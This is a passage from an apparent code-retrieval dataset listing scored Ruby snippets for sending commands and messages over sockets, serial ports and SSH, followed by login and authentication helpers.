xst temporary dir\n FileUtils.rm_rf(\"synthesis/xst\") if File.directory? \"synthesis/xst\"\nend", "title": "" }, { "docid": "d51abc61461962813ceb592afdb83605", "score": "0.5040534", "text": "def send(target, command, msgArray = [])\n msg = \"S #{target} #{command} #{LineSerializer.to_s(msgArray)}\"\n debug(\"Send message: \", msg)\n write(msg)\n end", "title": "" }, { "docid": "7d81b1ae2e567e285104bc4ed04988dc", "score": "0.5025949", "text": "def send_snmp_write_request(version, community, data)\n send_snmp_request(\n create_snmp_write_sys_descr_request(version, community, data)\n )\n end", "title": "" }, { "docid": "d50ba228ab88a03c7ffbc172532a9184", "score": "0.5023535", "text": "def xsb_command(a_xsb_command)\r\n raise(XSBInitializeError, \"XSB NOT INITIALIZED!\") unless @connection_active\r\n g,gs = @xsb_interface['command_xsb', 'IS'].call(a_xsb_command)\r\n #raise(XSBCommandError, \"#{a_xsb_command}: returned #{g.to_s}\") if g > 1\r\n g\r\n end", "title": "" }, { "docid": "5cf22a573120e60b474b29af534736c4", "score": "0.5013423", "text": "def set_sys_msg\n @sys_msg = SysMsg.find(params[:id])\n end", "title": "" }, { "docid": "5cf22a573120e60b474b29af534736c4", "score": "0.5013423", "text": "def set_sys_msg\n @sys_msg = SysMsg.find(params[:id])\n end", "title": "" }, { "docid": "a1394d21c830662ff5febaf577ca8879", "score": "0.50057244", "text": "def dtls_send(addr, mesg)\n @sessions[addr] do |sess|\n res = Wrapper::dtls_write(@context.to_ffi, sess.to_ptr,\n mesg, mesg.bytesize)\n res == -1 ? raise(Errno::EIO) : res\n end\n end", "title": "" }, { "docid": "dbfeb014f7393b87f1a9fb73a21b406e", "score": "0.5005296", "text": "def snd_message(pattern, multi, command, *args)\n\t\t\tmsg = \"#{multi} #{CMD[command]} #{args.join(\" \")}\".chomp(\" \") + \"\\n\"\n\t\t\tbegin\n\t\t\t\tif @serial.closed?\n\t\t\t\t\t@log.error(\"Could not send the command #{command}, the receiver isn't available\")\n\t\t\t\telse\n\t\t\t\t\t@serial.write msg\n\t\t\t\t\t@log.debug(\"Sent : \\\"#{msg.delete(\"\\n\")}\\\"\")\n\t\t\t\t\tif pattern\n\t\t\t\t\t\ti = 0\n\t\t\t\t\t\tbegin\n\t\t\t\t\t\t\twait_for(pattern)\n\t\t\t\t\t\trescue Timeout::Error => e\n\t\t\t\t\t\t\tif (i+=1) < @retry\n\t\t\t\t\t\t\t\t@serial.write msg\n\t\t\t\t\t\t\t\t@log.debug(\"Sent : \\\"#{msg.delete(\"\\n\")}\\\"\")\n\t\t\t\t\t\t\t\tretry\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t@log.info(\"The multiplexer #{multi} did not answered to the command \\\"#{command}\\\"\")\n\t\t\t\t\t\t\t\tnil\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\trescue StandardError => e\n\t\t\t\t@log.error(\"Could not send message : serial is down\")\n\t\t\t\tnil\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "139a9ef0bffb6b9ce726f6a29c49a395", "score": "0.50012374", "text": "def send(command, arg, msg=nil)\n str = command.to_s.upcase + ' '\n str += arg.to_s\n str += ' :' + msg.to_s unless msg.nil?\n\n puts \"> #{str}\"\n @socket.puts str\n end", "title": "" }, { "docid": "d355bd068385bdb499ba595c542dac77", "score": "0.5000643", "text": "def send_extended_data( type, data )\n @shell.send_extended_data type, data\n end", "title": "" }, { "docid": "3f7aad972d8fde7574b4a667e338ed31", "score": "0.49999845", "text": "def send(*cmds)\n cmd = \\\n cmds\n .compact\n .map do |cm|\n case cm\n when String, Symbol, Numeric then cm.to_s\n when ->(c) { c.respond_to?(:to_str) } then cm.to_str\n else raise ArgumentError, \"#{cm.inspect} is not a string\"\n end.strip.encode(Encoding::UTF_8)\n end\n .join(' ')\n @history << cmd\n @socket.puts(cmd)\n @socket.gets&.chomp(\"\\n\")\n end", "title": "" }, { "docid": "ca918e374b187cc53a08ad4d5ecd0bfe", "score": "0.49965614", "text": "def send cmd\n\t\t\tputs cmd\n\t\t\tlow_level_send cmd\n\t\t\tlow_level_recv\n\t\tend", "title": "" }, { "docid": "f402f106c7f7b73a637ee571e66a0a2d", "score": "0.49849987", "text": "def notify_user\n cmd = self.class.compose_system_command(params['actionFields']['tickers'], params['actionFields']['email'])\n system(cmd + ' 2>&1 ')\n render plain: {data: [{id: Time.now}]}.to_json, status: 200\n rescue => e\n puts e.backtrace\n render plain: { errors: [ {status: \"SKIP\", message: \"Cannot notify user. Reason: #{e.message}\" } ] }.to_json, status: 400\n end", "title": "" }, { "docid": "e5fbd82de6e48465252dcbc4b1913187", "score": "0.49829853", "text": "def simsat_health_safety(screen, cmd)\n \n case cmd\n when \"CS_CMD\" \n Osk::Ops::send_flt_cmd(\"CS\", \"#{screen.get_named_widget(\"cs_cmd\").text}\")\n when \"CS_TLM\"\n # Only one option\n scr_name = \"HK_TLM_PKT\"\n spawn(\"ruby #{Osk::COSMOS_PKT_VIEWER} -p 'CS #{scr_name}'\")\n when \"CS_DOC\"\n Cosmos.open_in_web_browser(\"#{Osk::OSK_CFS_DIR}/apps/cs/docs/users_guide/html/index.html\") \n when \"HS_CMD\" \n Osk::Ops::send_flt_cmd(\"HS\", \"#{screen.get_named_widget(\"hs_cmd\").text}\")\n when \"HS_TLM\"\n # Only one option\n scr_name = \"HK_TLM_PKT\"\n spawn(\"ruby #{Osk::COSMOS_PKT_VIEWER} -p 'HS #{scr_name}'\")\n when \"HS_DOC\"\n Cosmos.open_in_web_browser(\"#{Osk::OSK_CFS_DIR}/apps/hs/docs/users_guide/html/index.html\") \n #ug_path_filename = \"#{Osk::OSK_CFS_DIR}/apps/hs/docs/users_guide/#{FswConfigParam::CS_USERS_GUIDE_FILE}\"\n #spawn(\"evince '#{ug_path_filename}'\")\n when \"FUNC_TBD\"\n prompt(Osk::MSG_TBD_FEATURE)\n when \"DEMO\"\n prompt(Osk::MSG_TBD_FEATURE)\n when \"TUTORIAL\"\n prompt(Osk::MSG_TBD_FEATURE)\n else\n raise \"Error in screen definition file. Undefined health and safety screen command '#{cmd}' sent to simsat_src_cmd()\"\n end\n \nend", "title": "" }, { "docid": "dba2f39e5234e3dd3eb3a031cba19658", "score": "0.49700752", "text": "def sysex_properties(options)\n sysex_options = options.dup\n sysex_options[:sysex_node] ||= options.delete(:node)\n @state.message_properties(sysex_options, :sysex_node)\n end", "title": "" }, { "docid": "de7cbb0a5609e22b2667a0dd468df2ef", "score": "0.49644768", "text": "def esx_cmd(command)\n cmd = \"#{BIN_LOCATION}/tty_expect -u #{@user} -p #{@pass} #{command}\"\n end", "title": "" }, { "docid": "b9d6686adb78e999e4579e3eabad7340", "score": "0.49519873", "text": "def do_send(command, data, options = {})\n\t\tcommand = \"\\x0F001\" << command << data << \"0\\r\"\n\t\tsend(command, options)\n\tend", "title": "" }, { "docid": "e12ef70f2c4c42288080ab47f5ca06aa", "score": "0.49495378", "text": "def syswrite(*args)\n raise RuntimeError, \"Invalid syswrite() call on SSL socket\"\n end", "title": "" }, { "docid": "18ee2058e0a4b8cb9b9ed880c078f40d", "score": "0.493107", "text": "def notify (msg)\n\tipaddress = @config['tcp_listener_address']\n\tport = @config['tcp_listener_port']\n\n\tbegin\n\t\tsock = TCPSocket.new(ipaddress, port)\n\t\tsock.puts msg # format the array nicely\n\t\tsock.write \"\\0\" # end each message with a null character\n\t\tsock.close\n\trescue \n\t\tputs $!\n\tend\nend", "title": "" }, { "docid": "e96c3c70e0c8a59e2a4844b5525d9cf7", "score": "0.49235624", "text": "def filter_out_sysex(packets)\n # The system exclusive messsages (11110000) come from softwares (GarageBand, Logic Pro)\n # that have discovered this midi connection via core-midi\n # and are trying to communicate with it.\n # Reject these messages.\n return packets.reject { |p| p[:data].first.to_s(2) == \"11110000\" }\n end", "title": "" }, { "docid": "4846d66d0711704a437f9cc796718edb", "score": "0.49196255", "text": "def send_message(msg)\n @semaphore.synchronize {\n @sp.print(msg)\n @sp.flush()\n }\n end", "title": "" }, { "docid": "52bbcb5fa79c4ff185df5f4ce94d21c8", "score": "0.49152136", "text": "def sendmsg message, flag = 0\n __sendmsg__(@socket, message.address, flag)\n end", "title": "" }, { "docid": "6a5fe4febbe715c88f06d80d5a4c4d37", "score": "0.49112448", "text": "def send_data( data )\n @shell.send_data data\n end", "title": "" }, { "docid": "d9a0a523f8c2b4057ca0aeefae98417a", "score": "0.49091697", "text": "def send command\n @write_fh.write(\"#{command}\\n\")\n end", "title": "" }, { "docid": "d9a0a523f8c2b4057ca0aeefae98417a", "score": "0.49091697", "text": "def send command\n @write_fh.write(\"#{command}\\n\")\n end", "title": "" }, { "docid": "93170d415bc3290ca883596ce1a56cf4", "score": "0.49083367", "text": "def sendData(cmd, opts = {})\n opts = { :expected_resp_size => 0,\n :expected_term_char => nil,\n :read_timeout => 0,\n :first_char_sets_resp_length => 0,\n :wait_ms_after => 0\n }.merge(opts)\n\n\n #@sp.read_timeout=opts[:read_timeout]\n @sp.flush\n @sp.read_timeout=500\n\n puts \"sending command #{cmd}\"\n cmd.each_byte do |b|\n @sp.putc b\n end\n\n wait_ms(opts[:wait_ms_after]) if (opts[:wait_ms_after] > 0)\n\n #sleep (0.1)\n\n receive(opts)\n end", "title": "" }, { "docid": "0cd855886e807233e87749c14eacd0cc", "score": "0.49074754", "text": "def send_command(command, data = nil)\r\n frame = build_send_frame(command, data)\r\n \r\n puts frame.inspect\r\n \r\n frame.each { |b| @file.write b }\r\n end", "title": "" }, { "docid": "c3b1035f4cd57bc784db44afdef83261", "score": "0.49012116", "text": "def notify(cmd, socket)\n #cmd should be string\n socket.send(cmd + \" \\r\\n\", 0)\n line = socket.gets(\"\\r\\n\")\n STDOUT.puts line\nend", "title": "" }, { "docid": "ce6880c61ab49bd92928e72688257a23", "score": "0.48922455", "text": "def display_msg(iMsg)\n # TODO: Handle case of xmessage not installed\n # Create a temporary file with the content to display\n require 'tmpdir'\n lTmpFileName = \"#{Dir.tmpdir}/RUA_MSG\"\n File.open(lTmpFileName, 'w') do |oFile|\n oFile.write(iMsg)\n end\n system(\"xmessage -file #{lTmpFileName}\")\n File.unlink(lTmpFileName)\n end", "title": "" }, { "docid": "b8d215b538864fda60e0f7330b6ce02c", "score": "0.4887041", "text": "def issue(command)\n @socket.puts command\n\n receive\n end", "title": "" }, { "docid": "b8d9468e50256040e699728baa6d0930", "score": "0.48767617", "text": "def send_command( cmd, stdin=nil )\n @log.debug \"executing #{cmd.inspect}\" if @log.debug?\n send_data \"#{cmd}; printf '%s %d' #{CONFIRMATION} $?\\n\"\n send_data stdin if stdin\n\n out = \"\"\n err = \"\"\n\n @log.debug \"waiting for #{cmd.inspect}\" if @log.debug?\n loop do\n sleep 0.01\n out << @shell.stdout while @shell.open? && @shell.stdout?\n err << @shell.stderr while @shell.open? && @shell.stderr?\n\n break if !@shell.open? || out.index( CONFIRMATION + \" \" )\n end\n\n if @log.debug?\n @log.debug \"#{cmd.inspect} finished\"\n @log.debug \" stdout --> #{out.inspect}\"\n @log.debug \" stderr --> #{err.inspect}\"\n end\n\n if @shell.open?\n match = out.match( /#{CONFIRMATION} /o )\n out = match.pre_match\n status = match.post_match.strip.to_i\n else\n status = 0\n end\n\n CommandOutput.new( out, ( err.empty? ? nil : err ), status )\n end", "title": "" }, { "docid": "0c15ed67450e6706696c9e9565dbe815", "score": "0.4871878", "text": "def send_message(message)\n\t\t\t\t@g.notify(\"Session Notification\",\"Metasploit\", message,0,@sticky)\n\t\t\t\treturn\n\t\t\tend", "title": "" }, { "docid": "40fbfc9ff70cd3d5f0021e86552bdae9", "score": "0.4869269", "text": "def send!(seqNo, *msgArray)\n # Build Message \n message = \"#{@@myName} 0 #{LineSerializer.to_s(msgArray)}\"\n item = Jabber::PubSub::Item.new\n msg = Jabber::Message.new(nil, message)\n item.add(msg)\n\n # Send it\n dst = \"#{@@pubsubNodePrefix}/#{@@myName}\"\n debug(\"Send to '#{dst}' - msg: '#{message}'\")\n begin\n @@service.publish_to_node(\"#{dst}\", item) \n rescue Exception => ex\n error \"Failed sending to '#{dst} - msg: '#{message}' - error: '#{ex}'\"\n end\n end", "title": "" }, { "docid": "0d6b58262a4ad94d8dc3eb39ca74e76d", "score": "0.48681808", "text": "def send(msg)\n\t\tlog Server.username+\": \"+msg\n\t\t@cli.text_channel @@currentChannel, msg\n\tend", "title": "" }, { "docid": "2814bb162a474b159de2f5723ef79479", "score": "0.48605204", "text": "def send(msg)\n\t@socket.send \"#{msg}\\n\", 0\nend", "title": "" }, { "docid": "2814bb162a474b159de2f5723ef79479", "score": "0.48605204", "text": "def send(msg)\n\t@socket.send \"#{msg}\\n\", 0\nend", "title": "" }, { "docid": "d46ad38875b5f7f7ad02b53df7c1941c", "score": "0.48586288", "text": "def sys_msg_params\n params.require(:sys_msg).permit(:user_name, :action_title, :action_desc, :user_id, :msg_catalog, :accept_users_type, :status)\n end", "title": "" }, { "docid": "ec4dd0b8e91556f0b04fb26586eb22a3", "score": "0.48559904", "text": "def send!(seqNo, *msgArray)\n message = \"#{NodeAgent.instance.agentName} #{seqNo} #{LineSerializer.to_s(msgArray)}\"\n if (seqNo > 0)\n @messages[seqNo] = message\n end\n #debug(\"Send message(#{@sendAddr}:#{@sendPort}): '#{message}'\")\n @sendSock.send(message, 0, @sendAddr, @sendPort)\n return seqNo\n end", "title": "" }, { "docid": "19dcecde33f4f04ba98f8fa8fdd02b33", "score": "0.48534366", "text": "def ev cmd\n SERVER.request cmd\nend", "title": "" }, { "docid": "3469c49f4868707d10564276128023ad", "score": "0.48472413", "text": "def cmd_mmsmsg type, data, title, message, label_response = new_label\n mime = mimetype type\n $writer[label_response + \" MMSMSG #{mime} #{data} #{title}|#{message}\"] if mime\n end", "title": "" }, { "docid": "8c1bbf7495f76c4a9cb88c69d29a73b6", "score": "0.484302", "text": "def sys_msg_params\n params.require(:sys_msg).permit(:user_name, :action_title, :action_desc, :user_id, :msg_catalog, :accept_users_type, :accept_users, :status)\n end", "title": "" }, { "docid": "913a12ac72552094f7918508fdef388a", "score": "0.48425928", "text": "def received(data, command)\n\t\tlogger.debug \"Extron DSP 44 sent #{data}\"\n\t\t\n\t\tif command.nil? && data =~ /Copyright/i\n\t\t\tdevice_ready\n\t\telse\n\t\t\tcase data[0..2].to_sym\n\t\t\twhen :Grp\t# Mute or Volume\n\t\t\t\tdata = data.split('*')\n\t\t\t\tif data[1][0] == '+'\t# mute\n\t\t\t\t\tself[\"ouput#{data[0][5..-1].to_i}_mute\"] = data[1][-1] == '1'\t# 1 == true\n\t\t\t\telse\n\t\t\t\t\tself[\"ouput#{data[0][5..-1].to_i}_volume\"] = data[1].to_i\n\t\t\t\tend\n\t\t\twhen :DsG\t# Input gain\n\t\t\t\tself[\"input#{data[7].to_i + 1}_gain\"] = data[9..-1].to_i\n\t\t\twhen :DsM\t# Input Mute\n\t\t\t\tself[\"input#{data[7].to_i + 1}_mute\"] = data[-1] == '1'\t# 1 == true\n\t\t\twhen :Rpr\t# Preset called\n\t\t\t\tlogger.debug \"Extron DSP called preset #{data[3..-1]}\"\n\t\t\telse\n\t\t\t\tif data == 'E22'\t# Busy! We should retry this one\n\t\t\t\t\tsleep(1)\n\t\t\t\t\treturn :failed\n\t\t\t\telsif data[0] == 'E'\n\t\t\t\t\tlogger.info \"Extron Error #{ERRORS[data[1..2].to_i]}\"\n\t\t\t\t\tlogger.info \"- for command #{command[:data]}\" unless command.nil?\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\treturn :success\n\tend", "title": "" }, { "docid": "abe225f85ba20d9cb8f6bcad8b209e2a", "score": "0.48367786", "text": "def xbee_cmd(cmd)\n write_response = @serial.write(\"+++\")\n if @serial.read(write_response) == (\"OK\\r\")\n cmd_response = @serial.write(\"#{cmd}\\r\")\n resp = @serial.read(cmd_response)\n @serial.write('ATCN\\r')\n return resp\n end\nend", "title": "" }, { "docid": "8bcec9e932aa0d55c74a731d61bfa222", "score": "0.48313677", "text": "def sendmsg(msg)\n @outbuffer << msg\n @write_blocked = true # change status to write_blocked\n end", "title": "" }, { "docid": "e48c4a352d1b9204d6739aa6b358962a", "score": "0.48297372", "text": "def CliPvtMsg\n puts \"client> Mensagem enviada.\"\n end", "title": "" }, { "docid": "ebc6091252844ac2ef7b1fbb7b070a47", "score": "0.48238173", "text": "def send_msg msg\n @manager.send_to_server msg\n end", "title": "" }, { "docid": "4411a5b851ab8fe7044ef0783f639be0", "score": "0.48223472", "text": "def send_command(cmd, params = {})\n # Send the command\n return @server.command cmd , params\n end", "title": "" }, { "docid": "1bdacedf6320a145d9bff3704590d3d9", "score": "0.48214576", "text": "def send(msg, *numbers)\n args = owner.generate_args([\"-n\", \"#{numbers.join(',')}\"])\n owner.api_command('sms-send', msg, *args)\n end", "title": "" }, { "docid": "74750aeba79d02536f1fc481d425c3b8", "score": "0.48187774", "text": "def invalid_command(command)\n @server.puts \"say #{command} is invalid.\"\n end", "title": "" }, { "docid": "7c8c79456c0577f4c5debd32a6bdbfbe", "score": "0.48057726", "text": "def signal(cmd)\n unless byte = Commands[cmd.to_sym]\n raise ArgumentError.new(\"unsupported SvDir signal `#{cmd}'\")\n end\n Util::open_write(svfn('control')) do |f|\n f.syswrite(byte)\n end\n end", "title": "" }, { "docid": "418700faabf18c7683e749792f3a7dd9", "score": "0.4795202", "text": "def send(s)\r\n \r\n s=s.to_s\r\n \r\n if @debug_com \r\n print \"Sending: #{s}\\r\\n\"\r\n end\r\n \r\n @sp.write(\"#{s}\\r\") \r\n \r\n end", "title": "" } ]
e8330ab9bc419665cefe6616b0829a93
Confirms a loggedin agent.
[ { "docid": "496b30e5d7ae221a92b53b4be696705c", "score": "0.63059026", "text": "def logged_in_agent\n unless logged_in?\n store_location\n flash[:danger] = \"Por favor Inicie Sesión.\"\n redirect_to agents_login_url\n end\n end", "title": "" } ]
[ { "docid": "d46b189987cc1d9abfd196bae5e3b70f", "score": "0.5688818", "text": "def authorize_agent\r\n unless session[:user_id] and\r\n User.find(session[:user_id]).level >= 1\r\n session[:original_uri] = request.request_uri\r\n flash[:notice] = Resource.get(\"agent_not_authorized_wo_login\")\r\n redirect_to(:controller => \"welcome\", :action => \"signin\")\r\n end\r\n end", "title": "" }, { "docid": "fde5a908ff43f3b43641340da1371478", "score": "0.5634936", "text": "def correct_agent\n @agent = Agent.find(params[:id])\n redirect_to(root_url) unless current_agent?(@agent)\n end", "title": "" }, { "docid": "af4e7803254cfa9a19aef78482f553ed", "score": "0.55024934", "text": "def confirm\n if @user = UserConfirmsAccount.new(:token => params[:token]).call\n self.establish_session @user\n redirect_to profile_url, :notice => \"Thanks for confirming #{@user.email}\"\n else\n redirect_to profile_url, :notice => \"There was a problem confirming - try re-sending the email?\"\n end\n end", "title": "" }, { "docid": "cc1493acc4bb27a0f5064f8234f8fc2b", "score": "0.5471228", "text": "def login(agent)\n logger.info(\"Logging in to #{LOGIN_URL}.\")\n\n login_page = agent.get(LOGIN_URL)\n form = login_page.form('frmFormsLogin')\n\n username, password = *scraper_args unless scraper_args.nil?\n form.Username = username || ask(\"username:\\n\")\n form.password = password || ask(\"password:\\n\") { |q| q.echo = \"•\" }\n\n prompts = agent.page.search(\".LoginPrompt\")\n if question = prompts[2].inner_html.strip rescue nil\n form.answer = ask( question ) { |q| q.echo = \"•\" }\n end\n\n agent.submit(form)\n sleep 3 # wait while the login takes effect\n end", "title": "" }, { "docid": "d4c227f560d1d81b243aeff4a6469b55", "score": "0.54104483", "text": "def authenticated_agent \n #returns an agent that is authenticated or a new agent if you are on the VPN\n\n # # step 1: try to load a saved agent to avoid having to re-auth\n # if @authenticated_agent == nil and Rails.env.development? # \n # load_agent\n # \n # # check to see if agent is valid, otherwise clear it \n # @authenticated_agent = nil unless valid_agent?( @authenticated_agent )\n # end\n # \n # Step 2: if loading failed then will authenticate a new session\n @authenticated_agent ||= authenticate\n end", "title": "" }, { "docid": "5f8ee1fd5a920f5ba02eb1ef4e10394d", "score": "0.5361754", "text": "def agent(channel)\n return if @agent_forwarded\n\n @agent_forwarded = true\n\n channel.send_channel_request(\"auth-agent-req@openssh.com\") do |achannel, success|\n if success\n debug { \"authentication agent forwarding is active\" }\n else\n achannel.send_channel_request(\"auth-agent-req\") do |a2channel, success2|\n if success2\n debug { \"authentication agent forwarding is active\" }\n else\n error { \"could not establish forwarding of authentication agent\" }\n end\n end\n end\n end\n end", "title": "" }, { "docid": "2c5bd922dc1e5e3026e6d387e22c0a49", "score": "0.53498006", "text": "def on_authorization\n send_data \"Hello #{entered_username}! You're authorized now.\\n\"\n # NOTE: first command prompt is sent automatically after this\n end", "title": "" }, { "docid": "deeb4059f2817bf71cc3f61fb3acc2d9", "score": "0.53486055", "text": "def pass\n @agent.pass\n end", "title": "" }, { "docid": "ee62bdd0ffd57efae1e656036f4ef512", "score": "0.52965295", "text": "def confirm_logged_in\n \tunless session[:user_id]\n \t\tflash[:notice] = \"Please Log in.\"\n \t\tredirect_to(login_path)\n \tend\n end", "title": "" }, { "docid": "0ffef7df4edae62189df94af9903dc46", "score": "0.5287881", "text": "def login_agent(agent, login, password)\n login_request = VkMusic::Request::Login.new\n login_request.call(agent)\n login_request.send_form(login, password, agent)\n end", "title": "" }, { "docid": "7b2a0a0b8fef1702b34ab52b7e83eea6", "score": "0.52760386", "text": "def authenticate(agent)\n puts \"Authenticating \".foreground(:cyan) + @user_login.foreground(:cyan) + \"...\".foreground(:cyan)\n\n # Login form submission\n page = agent.get learn_url\n form = page.forms.first\n form.username = @user_login\n form.password = @user_passw\n page = agent.submit form\n\n course_links = page.search course_html\n login_error = page.search error_html\n\n if login_error.empty? and course_links.empty?\n raise \"D2l has changed. Please contact the developer.\".foreground(:red)\n elsif !login_error.empty?\n raise \"Couldn't authenticate. Please try again.\".foreground(:red)\n end\n \n course_links\n end", "title": "" }, { "docid": "ec3af2e9f06314b79d2756e409ba78c5", "score": "0.52755964", "text": "def confirm_logged_in\n unless session[:user_id]\n redirect_to login_path, alert: \"Please log in\"\n end\n end", "title": "" }, { "docid": "718fa7fe3ba31394650b018027da1d9b", "score": "0.5154149", "text": "def authorise\n\t\treturn if current_user.present? || current_invite.present?\n\t\treset_session\n\t\tredirect_to root_path, alert: \"Authentication failed, please try again.\"\n\tend", "title": "" }, { "docid": "33132e189b06c49aca0b5c72bd49d6cd", "score": "0.51285404", "text": "def confirm_logged_in\n unless session[:username]\n redirect_to authenticate_login_path\n else\n true\n end\n end", "title": "" }, { "docid": "d795f11fff55e9ddfff988629b78f3e4", "score": "0.51203614", "text": "def invite_login\n\t\tco = Company.find_by(confirm_token: params[:format])\n\t\tauction = Auction.find(params[:auction_id])\n\n\t\tif !co\n\t\t\tredirect_to login_path, flash: { error: \"Username or Password is invalid\" }\n\t\telsif co.email_confirmed\n\t\t\tsession[:company_id] = co.id\n\t\t\tredirect_to new_auction_bid_path(auction)\n\n\t\telse !co.email_confirmed\n\t\t\tredirect_to login_path, flash: {warning: \"Please check your e-mail for a confirmation link\"}\n\t\tend\n\tend", "title": "" }, { "docid": "2de464c2b708fb64084551b5c2b5d2e4", "score": "0.51032615", "text": "def login!(*args)\n options = args.last.kind_of?(Hash) ? args.pop : {}\n\n silent = options.delete(:silent).equal?(false) ? '' : 's'\n id = args.shift\n id &&= AgentProxy.id_from_agent_channel(id)\n raise ArgumentError, \"Unrecognized Hash options to #login: #{options.inspect}\" if options.any?\n raise ArgumentError, \"Unrecognized argument to #login: #{args.inspect}\" if args.any?\n\n proxy.environment.execute 'AgentLogin', id, silent\n end", "title": "" }, { "docid": "0f956405217d8ce4df06dfe9f8a1bd17", "score": "0.510029", "text": "def login\n receive_until_token(@login_token)\n enter_login unless @logged_in\n if @password # if password was passed, else try without password\n receive_until_token(@password_token)\n enter_password unless @logged_in\n end\n receive_until_token(@prompt)\n @logger.info(\"logged in\") if @logger\n end", "title": "" }, { "docid": "571f97ea0657de1641ba4b3ba7691828", "score": "0.5095368", "text": "def confirm\n if current_visitor && current_visitor.has_role?('admin', 'manager')\n user = User.find(params[:id]) unless params[:id].blank?\n if !params[:id].blank? && user && user.state != \"active\"\n user.confirm!\n user.make_user_a_member\n # assume this type of user just activated someone from somewhere else in the app\n flash[:notice] = \"Activation of #{user.name_and_login} complete.\"\n redirect_to(session[:return_to] || root_path)\n end\n else\n flash[:notice] = \"Please login as an administrator.\"\n redirect_to(root_path)\n end\n end", "title": "" }, { "docid": "4a8c61b1a86f02e2e3d1ca077ac5a646", "score": "0.50935113", "text": "def redirect_ok\n @agent.redirect_ok\n end", "title": "" }, { "docid": "be57e4cbbb98bab56593c8e2ca17ed5e", "score": "0.5085145", "text": "def suspend_agent\r\n Admin.suspend params[:id]\r\n redirect_to :action => 'show_agents' \r\n end", "title": "" }, { "docid": "a32c434fae7595b464acb6e6ff7910fa", "score": "0.50748914", "text": "def confirm_logged_in\r\n unless session[:username]\r\n redirect_to authenticate_index_path\r\n else\r\n true\r\n end\r\n end", "title": "" }, { "docid": "99f782bd549666bf7d427502763809b0", "score": "0.5059922", "text": "def login\n # If there's no connection, bail\n return if !@connected\n\n # Set the logged_in flag to false\n @logged_in = false\n \n # Send the command and read the response\n command = \"Action: Login\\r\\nUsername: \" + @username + \"\\r\\nSecret: \" + @secret + \"\\r\\n\\n\"\n response = self.send_request(command)\n \n # Check the response, set the flag, and write the log message\n @logged_in = self.check_response_status(response)\n \n if @logged_in\n @logger.success(\"Success: \" + response[:message])\n \n # The AMI immediately sends an event message after login. We don't care\n # about it, but it gets in the way of sending other commands. Read it and throw it in the log file\n self.read_response\n \n # Turn events off so we don't have to handle a bunch of asynchronous messages\n command = \"Action: Events\\r\\nEventmask: Off\\r\\n\\n\"\n response = self.send_request(command)\n \n @logger.success(\"Success: Async events turned off\") if (response[:response] == RESPONSE_SUCCESS)\n @logger.error(\"Failure: Could not turn async events off. This may cause problems\") if (response[:response] != RESPONSE_SUCCESS)\n else\n @logger.fatal(\"Error: \" + response[:message])\n end\n end", "title": "" }, { "docid": "f37d4654c52af3b69edb64da1f1c2a35", "score": "0.5058471", "text": "def authenticate\n puts \"==AUTHENTICATING EXTRANET==\"\n agent = new_secure_agent\n page = agent.get('https://extranet.uphs.upenn.edu') #connect to extranet\n agent.page.forms.first.username = @username # login username for extranet\n agent.page.forms.first.password = @pw # login pw\n agent.page.forms.first.submit # submits login request\n\n if agent.page.forms.first.checkbox_with(:name =>'postfixSID') #if another extranet session is open, it will ask you to close it or continue. If tow are open, you have to close one. This line looks for checkboxes and closes one session if they are present\n agent.page.forms.first.checkbox.check\n end\n btn = agent.page.forms.first.submit_button?('btnContinue') #finds the continue button\n agent.page.forms.first.submit(btn) # submits it to confirm login\n # save_agent if Rails.env.development?\n return agent\n end", "title": "" }, { "docid": "b40a37acf4d4ba8f34fc468b50f43297", "score": "0.50405294", "text": "def enter_login\n @logger.info(\"enter login: %s\" % @username) if @logger\n enter_command(@username)\n end", "title": "" }, { "docid": "cfb9cd22b35fdf2a4c1d4dd4145f7414", "score": "0.50117654", "text": "def welcome\n self.user_id = nil\n prompt.select(\"\\nWelcome to the Forum! Choose an action - \\n (Press Esc at any time to return to this menu!\") do |menu|\n menu.choice \"Login\", -> {login}\n menu.choice \"Create Account\", -> {account_creation}\n menu.choice \"Browse as a Guest\", -> {\n user_id = nil\n show_threads\n }\n menu.choice \"Exit\", -> {exit}\n end\n \n end", "title": "" }, { "docid": "69e7977c604aa7d915996151cc710db8", "score": "0.50059384", "text": "def valid_agent?( agent = authenticated_agent )\n agent.get(\"https://extranet.uphs.upenn.edu\")\n main_page_body = agent.page.body\n if main_page_body.include? \"Please sign in to begin your secure session\"\n puts \"==CHECKING VALIDITY==...Invalid agent\"\n false\n elsif main_page_body.include? \"Welcome to the Secure Access SSL VPN\"\n puts \"==CHECKING VALIDITY==...Valid agent!\"\n true\n else\n puts \"==CHECKING VALIDITY==...Probably an invalid agent\"\n false\n end\n end", "title": "" }, { "docid": "678d30c46484c097a2cd192d14521a09", "score": "0.50031525", "text": "def confirm_account\n puts \"Congratulation you created an account, and your user name is #{@username}.\"\n keypress = @@prompt.keypress(\"Press any key to continue\")\n system(\"clear\")\n end", "title": "" }, { "docid": "8fb7b9e4be48bae161a92480b8fb35d3", "score": "0.5002018", "text": "def confirm_logged_in\n unless session[:user_id] != nil\n redirect_to root_path\n end\n end", "title": "" }, { "docid": "09c04764fc68cf4424be267cb94886dc", "score": "0.49941", "text": "def autenticathe_login!\n unless someone_is_logged_in?\n store_location\n flash[:danger] = \"Por favor, Inicie sesion.\"\n redirect_to welcome_path\n end\n end", "title": "" }, { "docid": "4f542a38f0772e93cbfdee33051e0efa", "score": "0.4971731", "text": "def check_in_client\n @user = User.find(params[:user_id])\n decrement_session(@gym, @user)\n flash[:notice] = \"#{@user.first_name} successfully checked in.\"\n redirect_to current_user\n end", "title": "" }, { "docid": "2a60b2cbbf5062bcb34dc57af635924a", "score": "0.4968296", "text": "def load_agent\n @authenticated_agent = saved_agent\n end", "title": "" }, { "docid": "070e5f588f6c5547450fcbd0fc67aa69", "score": "0.49661157", "text": "def auth_agent_channel(session, channel, packet); end", "title": "" }, { "docid": "7e1561782805e06a3c616085149293f0", "score": "0.4958581", "text": "def authenticate_agent(rank, name, credentials)\n if (rank == \"007\" && name == \"James Bond\") || credentials == \"Secret Agent\"\n puts \"Access granted #{rank}, please proceed to the Intelligence Department\"\n else\n puts \"Access Denied\"\n end \nend", "title": "" }, { "docid": "ca6e1464d6ae900a5bd4f89c99f11f55", "score": "0.4915868", "text": "def confirm_instructor\n @confirm_instructor = true if session[:role_name] == 'Instructor'\n end", "title": "" }, { "docid": 